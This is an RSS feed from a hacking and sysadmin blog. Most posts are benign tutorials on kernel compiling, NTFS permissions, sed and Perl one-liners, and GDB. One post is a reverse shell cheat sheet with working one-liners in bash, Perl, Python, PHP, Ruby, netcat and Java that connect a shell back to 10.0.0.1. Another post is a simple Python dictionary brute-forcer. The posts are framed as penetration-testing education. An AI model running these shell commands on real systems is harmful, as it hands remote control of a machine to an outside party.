<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hack, Build & Scale - Web & Server apps]]></title><description><![CDATA[Hack, Build & Scale - Web & Server apps]]></description><link>https://worldofhacker.com</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 12:15:00 GMT</lastBuildDate><atom:link href="https://worldofhacker.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[How to Compile, Configure, Build and Install New Linux Kernel from Scratch]]></title><description><![CDATA[1. Download the latest kernel from kernel.org  
Code:
wget http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.19.tar.gz   tar zxvf linux-2.4.19.tar.gz   cd linux-2.4.19
2. Configure the kernel options  
This is where you select all the features yo...]]></description><link>https://worldofhacker.com/how-to-compile-configure-build-and-install-new-linux-kernel-from-scratch</link><guid isPermaLink="true">https://worldofhacker.com/how-to-compile-configure-build-and-install-new-linux-kernel-from-scratch</guid><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Sun, 23 Sep 2012 06:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401027350/pUsL0MIxI.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401025309/ZQWd7EBhgV.jpeg" alt="[Image: Linux_kernel_panic-v2.jpg]" /></p>
<p>1. Download the latest kernel from <a target="_blank" href="http://kernel.org/">kernel.org</a>  </p>
<p>Code:</p>
<p><code>wget http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.19.tar.gz   tar zxvf linux-2.4.19.tar.gz   cd linux-2.4.19</code></p>
<p>2. Configure the kernel options  </p>
<p>This is where you select all the features you want to compile into the kernel (e.g. SCSI support, sound support, networking, etc.)  </p>
<p>Code:</p>
<p><code>make menuconfig</code></p>
<p>There are different ways to configure what you want compiled into the kernel; if you have an existing configuration from an older kernel, copy the old .config file to the top level of your source and use make oldconfig instead of menuconfig. This oldconfig process will carry over your previous settings, and prompt you if there are new features not covered by your earlier .config file. This is the best way to 'upgrade' your kernel, especially among relatively close version numbers. Another possibility is make xconfig for a graphical version of menuconfig, if you are running X.  </p>
<p>3. Make dependencies  </p>
<p>After saving your configuration above (it is stored in the ".config" file) you have to build the dependencies for your chosen configuration. This takes about 5 minutes on a 500 MHz system.  </p>
<p>Code:</p>
<p><code>make dep</code></p>
<p>4. Make the kernel  </p>
<p>You can now compile the actual kernel. This can take about 15 minutes to complete on a 500 MHz system.  </p>
<p>Code:</p>
<p><code>make bzImage</code></p>
<p>The resulting kernel file is "arch/i386/boot/bzImage"  </p>
<p>5. Make the modules  </p>
<p>Modules are parts of the kernel that are loaded on the fly, as they are needed. They are stored in individual files (e.g. ext3.o). The more modules you have, the longer this will take to compile:  </p>
<p>Code:</p>
<p><code>make modules</code></p>
<p>6. Install the modules  </p>
<p>This will copy all the modules to a new directory, "/lib/modules/a.b.c" where a.b.c is the kernel version  </p>
<p>Code:</p>
<p><code>make modules_install</code></p>
<p>* In case you want to re-compile...  </p>
<p>If you want to re-configure the kernel from scratch and re-compile it, you must also issue a couple "make" commands that clean intermediate files. Note that "make mrproper" deletes your .config file. The complete process is:  </p>
<p>Code:</p>
<p><code>make mrproper   make menuconfig   make dep   make clean   make bzImage   make modules   make modules_install</code></p>
<p>* Installing and booting the new kernel  </p>
<p>For the remainder of this discussion, I will assume that you have LILO installed on your boot sector. Throughout this process, always have a working bootable recovery floppy disk, and make backups of any files you modify or replace. A good trick is to name all new files with -a.b.c (kernel version suffix) instead of overwriting files with the same name, although this is not shown in the example that follows.  </p>
<p>On most Linux systems, the kernels are stored in the /boot directory. Copy your new kernel to that location and give it a unique name.  </p>
<p>Code:</p>
<p><code>cp arch/i386/boot/bzImage /boot/vmlinuz-2.4.19</code></p>
<p>There is also a file called "System.map" that must be copied to the same boot directory.  </p>
<p>Code:</p>
<p><code>cp System.map /boot</code></p>
<p>Now you are ready to tell LILO about your new kernel. Edit "/etc/lilo.conf" as per your specific needs. Typically, your new entry in the .conf file will look like this:  </p>
<p>Code:</p>
<p><code>image = /boot/vmlinuz-2.4.19     label = "Linux 2.4.19"</code></p>
<p>Make sure the image points to your new kernel. It is recommended you keep your previous kernel in the file; this way, if the new kernel fails to boot you can still select the old kernel from the lilo prompt.  </p>
<p>Tell lilo to read the changes and modify your boot sector:  </p>
<p>Code:</p>
<p><code>lilo -v</code></p>
<p>Read the output carefully to make sure the kernel files have been found and the changes have been made. You can now reboot.  </p>
<p>Summary of important files created during kernel build:  </p>
<p>Code:</p>
<p><code>.config (kernel configuration options, for future reference)   arch/i386/boot/bzImage (actual kernel, copy to /boot/vmlinuz-a.b.c)   System.map (map file, copy to /boot/System.map)   /lib/modules/a.b.c (kernel modules)</code></p>
]]></content:encoded></item><item><title><![CDATA[How to Protect Files From Deletion in Windows]]></title><description><![CDATA[No one among us knowingly Delete important files in their hard disk but some times it may happen accidentally........and then start :-( :sad: about it........now i am posting a way to prevent them from getting deleted accidentally. This can be done i...]]></description><link>https://worldofhacker.com/how-to-protect-files-from-deletion-in-windows</link><guid isPermaLink="true">https://worldofhacker.com/how-to-protect-files-from-deletion-in-windows</guid><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Wed, 12 Sep 2012 06:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401069929/B_VWc2Qori.html" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>No one among us knowingly Delete important files in their hard disk but some times it may happen accidentally........and then start :-( :sad: about it........now i am posting a way to prevent them from getting deleted accidentally. This can be done in an NTFS partition by setting appropriate access permission to that file or folder. This article will show you how to do that.  </p>
<p>Method 1: Protect all files within a folder<br />The NTFS file permission dictates that users who are granted Full Control on a folder can delete any files in that folder regardless of the permissions that protect the file. Hence to protect files in a folder from deletion, it is essential to deny Full Control on that folder. Once that permission is revoked, all files within that folder are automatically protected from deletion without having to set permission for each file individually. The steps required to do this is described below.  </p>
<p>1. Create a folder on the root of an NTFS formatted hard drive partition. If the folder which you want to protect already exist and is nested several folders deep, it is recommended to move this folder to the root of the partition.  </p>
<p>2. Right-click on the folder and choose Properties.  </p>
<p>3. Click on the Security tab and then click Advanced.  </p>
<p>4. Click Change Permission, and on the next window highlight Administrator and click Edit  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401061247/8jXIunEHEs.html" alt="[Image: capture2ur.png]" /><br /><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401062726/YC66nKmyd.jpeg" alt="[Image: capture3d.png]" />  </p>
<p>5. Under Permission settings, check the boxes “Delete subfolders and files” and “Delete” under the Deny column.  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401063914/1eC_MHesk.html" alt="[Image: capture4dj.png]" />  </p>
<p>6. Click OK on all opened windows until you have closed them all.  </p>
<p>The folder is now protected. Under this folder you can create new files or edit existing files but you cannot delete them or rename them. Attempting to do so results in this File Access Denied message.<br /><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401064969/gz_YrEY2V.html" alt="[Image: capture5e.png]" />  </p>
<p>Method 2: Protect only selected files<br />This is somewhat difficult to achieve for reasons already explained – users who have full access to the parent folder can delete files regardless of the permissions that protect the file. So even if you deny Delete access to a file, if the parent folder is set to Full Access the user will be able to delete the file all the same. But there is one way by which we can workaround this problem.<br />1. Right-click on the file you want to protect and choose Properties.  </p>
<p>2. Check the attribute “Read-only” and click Apply.  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401066067/cgcSeOMAr.html" alt="[Image: capture6e.png]" />  </p>
<p>3. Open the Security tab and click Edit.  </p>
<p>4. Highlight the user name Administrator and check the box “Write” under the column Deny.  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401067720/J6ZUD9Xel.html" alt="[Image: capture7s.png]" />  </p>
<p>5. Click OK on all windows to exit.  </p>
<p>The file now cannot be deleted, but it cannot be edited or modified too. That’s an undesirable consequence of selectively protecting files.  </p>
<p>Alternative Method: Use third party software:  </p>
<p>If working with file permission is too much for you, you can try System Protect – a freeware that prevents deletion of important system files as well as user-selected files. The program runs in the background just like an anti-virus program do and continuously monitors all access to the protected files. If any process tries to delete the files the user is alerted. The program can be configured to automatically deny all delete attempts or ask the user for action. Additionally, System Protect allows files and folders to be password protected.  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401068798/VIw8242en.html" alt="[Image: systemprotect5b35d.gif]" /></p>
]]></content:encoded></item><item><title><![CDATA[Hackers - Reverse Shell Cheat Sheets]]></title><description><![CDATA[If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterward you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next...]]></description><link>https://worldofhacker.com/hackers-reverse-shell-cheat-sheets</link><guid isPermaLink="true">https://worldofhacker.com/hackers-reverse-shell-cheat-sheets</guid><category><![CDATA[hacker]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Wed, 11 Jul 2012 06:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667298048604/GBzGqyf4r.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterward you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either throwing back a reverse shell or binding a shell to a TCP port. This page deals with the former.</p>
<p>Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.</p>
<p>The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute ``` “/bin/sh -i”</p>
<pre><code class="lang-plaintext">Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 16.10):
</code></pre>
<p>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1</p>
<pre><code class="lang-plaintext">
PERL: Here’s a shorter, feature-free version of the Perl-reverse-shell:
</code></pre>
<p>perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'</p>
<pre><code class="lang-plaintext">
There’s also an alternative PERL revere shell here.

Python This was tested under Linux / Python 2.7:
</code></pre>
<p>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</p>
<pre><code class="lang-plaintext">
PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
</code></pre>
<p>php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</p>
<pre><code class="lang-plaintext">
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby
</code></pre>
<p>ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'</p>
<pre><code class="lang-plaintext">
Netcat: Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
</code></pre>
<p>nc -e /bin/sh 10.0.0.1 1234</p>
<pre><code class="lang-plaintext">
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
</code></pre>
<p>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.0.0.1 1234 &gt;/tmp/f</p>
<pre><code class="lang-plaintext">
Java
</code></pre>
<p>r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/10.0.0.1/2002;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done"] as String[]) p.waitFor()</p>
<pre><code class="lang-plaintext">
[Untested submission from an anonymous reader]

xterm

One of the simplest forms of the reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
</code></pre>
<p>xterm -display 10.0.0.1:1</p>
<pre><code class="lang-plaintext">
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorize the target to connect to you (the command also runs on your host):
</code></pre>
<p>xhost +targetip</p>
]]></content:encoded></item><item><title><![CDATA[Quickly Replace Text in Multiple Files with just One Command]]></title><description><![CDATA[Few of the time, we need to alter some particular text in multiple files, and opening and editing each file at a time is a killer. Here is a sweet simple command that uses the "Power of PERL" to make our life easier.
Command:-
perl -pi -w -e 's/faceb...]]></description><link>https://worldofhacker.com/quickly-replace-text-in-multiple-files-with-just-one-command</link><guid isPermaLink="true">https://worldofhacker.com/quickly-replace-text-in-multiple-files-with-just-one-command</guid><category><![CDATA[Linux]]></category><category><![CDATA[tricks]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[Devops]]></category><category><![CDATA[system admin]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Fri, 11 May 2012 06:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667300149836/ZERDfkbI7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Few of the time, we need to alter some particular text in multiple files, and opening and editing each file at a time is a killer. Here is a sweet simple command that uses the "Power of <code>PERL</code>" to make our life easier.</p>
<p>Command:-</p>
<pre><code class="lang-plaintext">perl -pi -w -e 's/facebook/worldofhacker/g;' /home/krokite/*.txt
</code></pre>
<p>What basically above command does is, It will find the word <code>facebook</code> in each "text/notepad" file under the directory "/home/krokite" and will replace that with <code>worldofhacker</code>.</p>
<p>Subscribe to my blog, for more awesome tricks and hacks :)</p>
]]></content:encoded></item><item><title><![CDATA[Introduction to Debugger - Using GDB - Debugging Commands]]></title><description><![CDATA[Click on "Prev" or "Next" Button to Read  
A debugger or debugging tool is a computer program that is used to test and debug other programs (the "target" program). The code to be examined might alternatively be running on an instruction set simulator...]]></description><link>https://worldofhacker.com/introduction-to-debugger-using-gdb-debugging-commands</link><guid isPermaLink="true">https://worldofhacker.com/introduction-to-debugger-using-gdb-debugging-commands</guid><category><![CDATA[hacker]]></category><category><![CDATA[hacking]]></category><category><![CDATA[debugging]]></category><category><![CDATA[gdb]]></category><category><![CDATA[infosec]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Fri, 04 May 2012 05:12:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400972742/n_0U5Q9Mwt.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://1.bp.blogspot.com/-1TDU27t0q_4/Uk5N-gt7JUI/AAAAAAAAA5o/qbcQkzDMhK8/s1600/debugger.png"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400971579/55XEuXHb-.png" alt /></a></p>
<iframe height="512" src="https://www.slideshare.net/slideshow/embed_code/7899250?rel=0" style="border-width:1px 1px 0;border:1px solid #CCC;margin-bottom:5px" width="100%"></iframe>  

<p>Click on "<strong>Prev</strong>" or "<strong>Next</strong>" Button to Read  </p>
<p>A <strong>debugger</strong> or <strong>debugging tool</strong> is a <a target="_blank" href="https://en.wikipedia.org/wiki/Computer_program">computer program</a> that is used to <a target="_blank" href="https://en.wikipedia.org/wiki/Software_testing">test</a> and <a target="_blank" href="https://en.wikipedia.org/wiki/Debugging">debug</a> other programs (the "target" program). The code to be examined might alternatively be running on an <a target="_blank" href="https://en.wikipedia.org/wiki/Instruction_Set_Simulator"><em>instruction set simulator</em> (ISS)</a>, a technique that allows great power in its ability to halt when specific conditions are encountered but which will typically be somewhat slower than executing the code directly on the appropriate (or the same) processor. Some debuggers offer two modes of operation—full or partial simulation—to limit this impact.</p>
<p>A "<a target="_blank" href="https://en.wikipedia.org/wiki/Crash_(computing)">crash</a>" happens when the program cannot normally continue because of a <a target="_blank" href="https://en.wikipedia.org/wiki/Software_bug">programming bug</a>. For example, the program might have tried to use an instruction not available on the current version of the <a target="_blank" href="https://en.wikipedia.org/wiki/Central_Processing_Unit">CPU</a> or attempted to access unavailable or <a target="_blank" href="https://en.wikipedia.org/wiki/Memory_protection">protected</a> <a target="_blank" href="https://en.wikipedia.org/wiki/Memory_(computers)">memory</a>. When the program "crashes" or reaches a preset condition, the debugger typically shows the location in the original code if it is a <strong>source-level debugger</strong> or<strong>symbolic debugger</strong>, commonly now seen in <a target="_blank" href="https://en.wikipedia.org/wiki/Integrated_development_environment">integrated development environments</a>. If it is a <strong>low-level debugger</strong> or a <strong>machine-language debugger</strong> it shows the line in the <a target="_blank" href="https://en.wikipedia.org/wiki/Disassembly">disassembly</a> (unless it also has online access to the original source code and can display the appropriate section of code from the assembly or compilation).</p>
<p>Source :- <a target="_blank" href="https://en.wikipedia.org/wiki/Debugger">Wikipedia</a></p>
]]></content:encoded></item><item><title><![CDATA[Basic Idea of Creating Password Bruteforce tool]]></title><description><![CDATA[Includes 2 Basic Program :-  

Basic "C++" program.
BruteForce Script in Python.

Here is Sample Code of CPP Program, that will need Password :-  

Codes are messed up because of blogger. So Get a Code from here - https://github.com/krokite/basicBrut...]]></description><link>https://worldofhacker.com/basic-idea-of-creating-password-bruteforce-tool</link><guid isPermaLink="true">https://worldofhacker.com/basic-idea-of-creating-password-bruteforce-tool</guid><category><![CDATA[hacker]]></category><category><![CDATA[hacking]]></category><category><![CDATA[bruteforcing]]></category><category><![CDATA[Python]]></category><category><![CDATA[C++]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Wed, 02 May 2012 21:37:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400983436/7C80rrltMk.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Includes 2 Basic Program :-  </p>
<ol>
<li>Basic "C++" program.</li>
<li>BruteForce Script in Python.</li>
</ol>
<p>Here is Sample Code of CPP Program, that will need Password :-  </p>
<p><a target="_blank" href="https://3.bp.blogspot.com/-wCU9oZdBDng/UkIGvXQ60wI/AAAAAAAAA3k/paEt8LfWuZk/s1600/34451f58b84899beb7a65c25bcb904e9.png"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400982051/KXY1IXWE7.png" alt /></a></p>
<p>Codes are messed up because of blogger. So Get a Code from here - <a target="_blank" href="https://github.com/krokite/basicBruteforce">https://github.com/krokite/basicBruteforce</a>  </p>
<pre><code><span class="hljs-comment">/*
Author: KroKite
Description: Basic Bruteforcing Tools
*/</span>

#include &lt;iostream&gt;
#include&lt;cstdlib&gt;
#include&lt;cstring&gt;
using namespace std;

<span class="hljs-comment">// When passing char arrays as parameters they must be pointers</span>
int main(int argc, char** argv) {
    <span class="hljs-keyword">if</span> (argc &lt; <span class="hljs-number">4</span>) { <span class="hljs-comment">// Check the value of argc. If not enough parameters than, inform user and exit.</span>
        cout &lt;&lt; <span class="hljs-string">"Usage is "</span> &lt;&lt; argv[<span class="hljs-number">0</span>] &lt;&lt; <span class="hljs-string">" -f &lt;input filename&gt; -p password\n"</span>;
        exit(<span class="hljs-number">0</span>);
    } <span class="hljs-keyword">else</span> { <span class="hljs-comment">// if we got enough parameters..</span>
  int i=<span class="hljs-number">1</span>;
    <span class="hljs-keyword">while</span>(i&lt;=argc) {
            <span class="hljs-keyword">if</span> (strcmp(argv[i],<span class="hljs-string">"-f"</span>) == <span class="hljs-number">0</span>) {
            cout &lt;&lt; <span class="hljs-string">"File to Open: "</span> &lt;&lt; argv[i + <span class="hljs-number">1</span>] &lt;&lt; endl;
            }
        <span class="hljs-keyword">if</span> (strcmp(argv[i],<span class="hljs-string">"-p"</span>) == <span class="hljs-number">0</span>) {
                cout &lt;&lt;<span class="hljs-string">"Password is : "</span> &lt;&lt; argv[i + <span class="hljs-number">1</span>] &lt;&lt; endl;
            <span class="hljs-keyword">if</span>(strcmp(argv[i+<span class="hljs-number">1</span>], <span class="hljs-string">"KroKite"</span>) == <span class="hljs-number">0</span>) {
                cout &lt;&lt; <span class="hljs-string">"File Opening SuccessFul"</span>&lt;&lt; endl;
            } <span class="hljs-keyword">else</span> {
                cout &lt;&lt; <span class="hljs-string">"Wrong Password"</span>&lt;&lt; endl;
            }
            }
    i++;
        }
    }
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p>Compile the above program with g++   </p>
<pre><code>root@worldofhacker# g++ krokite.cpp -o krokite
</code></pre><p>and now run a program to understand what it will do,   </p>
<pre><code>root@worldofhacker# ./krokite
Usage is -f input\_filename -p password
</code></pre><p>So, Run with Arguments, and it takes the password with '-p' arguments:-  </p>
<p>Giving the Wrong Password as "blackbuntu"  </p>
<pre><code>root@worldofhacker# ./krokite -f blackbuntu.txt -p blackbuntu
File to Open:  blackbuntu.txt
Password is : blackbuntu
Wrong Password
</code></pre><p>Now Running with Correct Password:-  </p>
<pre><code>root@worldofhacker# ./krokite -f blackbuntu.txt -p KroKite
File to Open:  blackbuntu.txt
Password is : KroKite
File Opening SuccessFul
</code></pre><p>But, Now what if you don't know the password of the program, and you need to open it, how would you do that, here is basic python code that will help you do that:-  </p>
<p>Save the below file with the name "krokite.py"  </p>
<pre><code>#!<span class="hljs-regexp">/usr/</span>bin/python
# Author : KroKite
# Description: Basic Password Bruteforcing Tool.
# Python Version: <span class="hljs-number">2.7</span>

<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> re

fo = open(<span class="hljs-string">"password.txt"</span>, <span class="hljs-string">'r'</span>);
<span class="hljs-keyword">for</span> lines <span class="hljs-keyword">in</span> fo:
  password = lines.split(<span class="hljs-string">'\n'</span>)
    brute = subprocess.Popen([<span class="hljs-string">"./vulnerableApp"</span>, <span class="hljs-string">"-f"</span>, <span class="hljs-string">"foo.txt"</span>, <span class="hljs-string">"-p"</span>, password[<span class="hljs-number">0</span>]], stdout=subprocess.PIPE)
    <span class="hljs-keyword">if</span>(re.search(<span class="hljs-string">"Success"</span>, brute.communicate()[<span class="hljs-number">0</span>])):
        print <span class="hljs-string">"Password Cracked and your Password is "</span>, password[<span class="hljs-number">0</span>]
        exit()
    <span class="hljs-attr">else</span>:
        print password[<span class="hljs-number">0</span>], <span class="hljs-string">" is not Password"</span>
</code></pre><p>Now make another file which has a list of passwords, Write 1 password in 1 line.  </p>
<p>password.txt file:-  </p>
<pre><code>abcdef
<span class="hljs-number">123456</span>
hacker
bullshit
wtf
blackbuntu
facebook
twitter
metallica
KroKite
shit
password
pass
</code></pre><p>And now Run your python program:-  </p>
<pre><code>root@krokite# python krokite.py 
abcdef  is not Password
<span class="hljs-number">123456</span>  is not Password
hacker  is not Password
bullshit  is not Password
wtf  is not Password
blackbuntu  is not Password
facebook  is not Password
twitter  is not Password
metallica  is not Password
Password Cracked and your Password is  KroKite
</code></pre><p>Note: Please Remember this is just a basic idea and does not account exactly for your program, you might have to do more homework for your application with the above krokite.py tool. With a Few Changes above krokite.py tool may work with MySQL [not tested]  </p>
<p>krokite.py file reads 1 password at a time and then run your program with a fetched password and checks the success of the password, if it does, then it simply prints the password and exit, so the very last line will be your password if it has successfully cracked it.  </p>
<p>Also, all the above Code is completely written by me, if you share it or modify it further, do include my credit. Thanks  </p>
<p>Got Question? Ask them below, and I believe this simple demo will clear doubts.</p>
]]></content:encoded></item><item><title><![CDATA[Big Picture that shows Linux Kernel Map [Kernel Map via Make Linux]]]></title><description><![CDATA[Big Picture that shows Linux Kernel Map [Kernel Map via Make Linux]
Click on Image to See in Better Resolution  

Go to this website. http://www.makelinux.net/kernel_map/   
Click on Zoom, And Navigation to Learn More, about each file of Linux Kernel...]]></description><link>https://worldofhacker.com/big-picture-that-shows-linux-kernel-map-kernel-map-via-make-linux</link><guid isPermaLink="true">https://worldofhacker.com/big-picture-that-shows-linux-kernel-map-kernel-map-via-make-linux</guid><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Thu, 05 Apr 2012 06:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401041135/Nywkk6kdX-.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-big-picture-that-shows-linux-kernel-map-kernel-map-via-make-linux">Big Picture that shows Linux Kernel Map [Kernel Map via Make Linux]</h3>
<p>Click on Image to See in Better Resolution  </p>
<p><a target="_blank" href="http://upload.wikimedia.org/wikipedia/commons/5/5b/Linux_kernel_map.png"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401038003/uJYq7xyTB.png" alt="[Image: Linux_kernel_map.png]" /></a></p>
<p>Go to this website. <a target="_blank" href="http://www.makelinux.net/kernel_map/">http://www.makelinux.net/kernel_map/</a>   </p>
<p>Click on Zoom, And Navigation to Learn More, about each file of Linux Kernel</p>
<p>at<a target="_blank" href="https://krokite.blogspot.com/2013/09/big-picture-that-shows-linux-kernel-map.html">02:36</a> <a target="_blank" href="https://www.blogger.com/post-edit.g?blogID=5703105567743865718&amp;postID=3602487625152557211&amp;from=pencil"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401039508/6lEMIzbhL6.gif" alt /></a></p>
<p><a target="_blank" href="https://www.blogger.com/share-post.g?blogID=5703105567743865718&amp;postID=3602487625152557211&amp;target=email">Email This</a><a target="_blank" href="https://www.blogger.com/share-post.g?blogID=5703105567743865718&amp;postID=3602487625152557211&amp;target=blog">BlogThis!</a><a target="_blank" href="https://www.blogger.com/share-post.g?blogID=5703105567743865718&amp;postID=3602487625152557211&amp;target=twitter">Share to Twitter</a><a target="_blank" href="https://www.blogger.com/share-post.g?blogID=5703105567743865718&amp;postID=3602487625152557211&amp;target=facebook">Share to Facebook</a></p>
<p>Labels: <a target="_blank" href="https://krokite.blogspot.com/search/label/Kernel">Kernel</a>, <a target="_blank" href="https://krokite.blogspot.com/search/label/Linux">Linux</a></p>
]]></content:encoded></item><item><title><![CDATA[Insert, Update and Delete any Line without opening the file in Linux]]></title><description><![CDATA[How comfortable would that be, if we ever have to Insert, Update, or Delete any line from a file without opening?
A few times, we are in a situation, where we had to get rid of a few lines or Insert a few lines in the file.
For the given purpose, we ...]]></description><link>https://worldofhacker.com/insert-update-and-delete-any-line-without-opening-the-file-in-linux</link><guid isPermaLink="true">https://worldofhacker.com/insert-update-and-delete-any-line-without-opening-the-file-in-linux</guid><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[linux-basics]]></category><category><![CDATA[linux-commands]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Sat, 07 Jan 2012 14:35:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667399684013/44ifMqypG.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>How comfortable would that be, if we ever have to <strong>Insert</strong>, <strong>Update</strong>, or <strong>Delete</strong> any line from a file without opening?</p>
<p>A few times, we are in a situation, where we had to get rid of a few lines or Insert a few lines in the file.</p>
<p>For the given purpose, we will be using Linux <code>sed</code> command line utility app.</p>
<h3 id="heading-for-inserting-or-updating-any-data-in-a-specific-line">For Inserting or Updating any Data in a specific line</h3>
<p><strong>Syntax:</strong></p>
<pre><code>sed -i <span class="hljs-string">'Ni CONTENT_HERE'</span> filename
</code></pre><p>here <code>N</code> represents line number, <code>i</code> represents insert and <code>CONTENT_HERE</code> would be your actual content, <code>filename</code> will be the filename where you want to insert data</p>
<p><strong>Example</strong></p>
<pre><code>sed -i <span class="hljs-string">'10i WorldOfHacker back in 2010 was one of the largest hacking communities in India and across the world'</span> worldofhacker.txt
</code></pre><p>The above command will insert the <code>WorldOfHacker back in 2010 was one of the largest hacking communities in India and across the world</code> text on the 10th line of the <code>worldofhacker.txt</code> file.</p>
<p>You can try your own homework for various other lines</p>
<h3 id="heading-for-deleting-any-data-in-a-specific-line">For Deleting any Data in a specific line</h3>
<p><strong>Syntax:</strong></p>
<pre><code>sed <span class="hljs-string">`Nd`</span> filename
</code></pre><p>here, <code>N</code> represents as usual line number <code>d</code> represents the <code>delete</code> action and <code>filename</code> is your filename where you want to delete the <code>N</code> line number.</p>
<p><strong>Example:</strong></p>
<pre><code>sed <span class="hljs-string">'10d'</span> worldofhacker.txt
</code></pre><p>The above command will delete the 10th line from the file <code>worldofhacker.txt</code></p>
<h3 id="heading-for-deleting-any-data-in-the-last-line">For Deleting any Data in the Last line</h3>
<p><strong>Syntax:</strong></p>
<pre><code>sed <span class="hljs-string">`$d`</span> filename
</code></pre><p>here, <code>$</code> represents the last line number <code>d</code> represents the <code>delete</code> action and <code>filename</code> is your filename where you want to delete the <code>N</code> line number.</p>
<p><strong>Example:</strong></p>
<pre><code>sed <span class="hljs-string">'$d'</span> worldofhacker.txt
</code></pre><p>The above command will delete the last line from the file <code>worldofhacker.txt</code></p>
<h3 id="heading-for-deleting-any-data-based-on-a-range-of-lines">For Deleting any Data based on a range of lines</h3>
<p><strong>Syntax:</strong></p>
<pre><code>sed <span class="hljs-string">`S,Ed`</span> filename
